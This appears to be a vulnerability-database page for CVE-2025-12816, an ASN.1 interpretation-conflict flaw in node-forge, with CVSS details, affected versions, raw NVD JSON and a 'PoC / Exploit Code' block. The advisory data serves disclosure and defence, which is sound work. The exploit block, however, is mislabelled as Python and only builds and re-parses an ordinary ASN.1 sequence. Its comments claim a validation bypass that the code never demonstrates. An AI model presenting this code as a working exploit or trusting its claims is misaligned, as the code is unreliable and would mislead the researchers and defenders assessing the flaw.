Security Vulnerability Report
中文
CVE-2025-12816 CVSS 8.6 HIGH

CVE-2025-12816

Published: 2025-11-25 20:15:59
Last Modified: 2026-01-02 19:02:09

Description

An interpretation-conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and earlier enables unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:* - VULNERABLE
node-forge <= 1.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const forge = require('node-forge'); // CVE-2025-12816 PoC - ASN.1 Interpretation Conflict // Craft malicious ASN.1 structure to desynchronize schema validation function createMaliciousASN1() { const asn1 = forge.asn1; // Create a sequence that can be interpreted two ways // This exploits the schema validation desynchronization const maliciousSequence = asn1.create(asn1.Type.SEQUENCE, true, [ asn1.create(asn1.Type.BITSTRING, false, [ asn1.create(asn1.Type.INTEGER, false, forge.util.bytesToHex('00')) ]), asn1.create(asn1.Type.OCTETSTRING, false, 'malicious_data') ]); return asn1.toDer(maliciousSequence).getBytes(); } function exploitValidation() { const derBytes = createMaliciousASN1(); const asn1 = forge.asn1; try { // This may pass validation but have different semantic meaning const decoded = asn1.fromDer(derBytes); // Bypass downstream cryptographic verification console.log('ASN.1 parsed successfully - validation may be bypassed'); console.log('Decoded structure:', decoded); // The attacker can now inject malicious data that passes basic checks // but fails semantic validation in downstream security checks return decoded; } catch (e) { console.log('Parse error:', e.message); } } exploitValidation();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12816", "sourceIdentifier": "[email protected]", "published": "2025-11-25T20:15:58.870", "lastModified": "2026-01-02T19:02:08.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An interpretation-conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and earlier enables unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-436"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:digitalbazaar:forge:*:*:*:*:*:node.js:*:*", "versionEndIncluding": "1.3.1", "matchCriteriaId": "F1BD404D-0F0B-495C-A5FF-F684D208E44D"}]}]}], "references": [{"url": "https://github.com/digitalbazaar/forge", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/digitalbazaar/forge/pull/1124", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5gfm-wpxj-wjgq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://kb.cert.org/vuls/id/521113", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.npmjs.com/package/node-forge", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.kb.cert.org/vuls/id/521113", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}]}}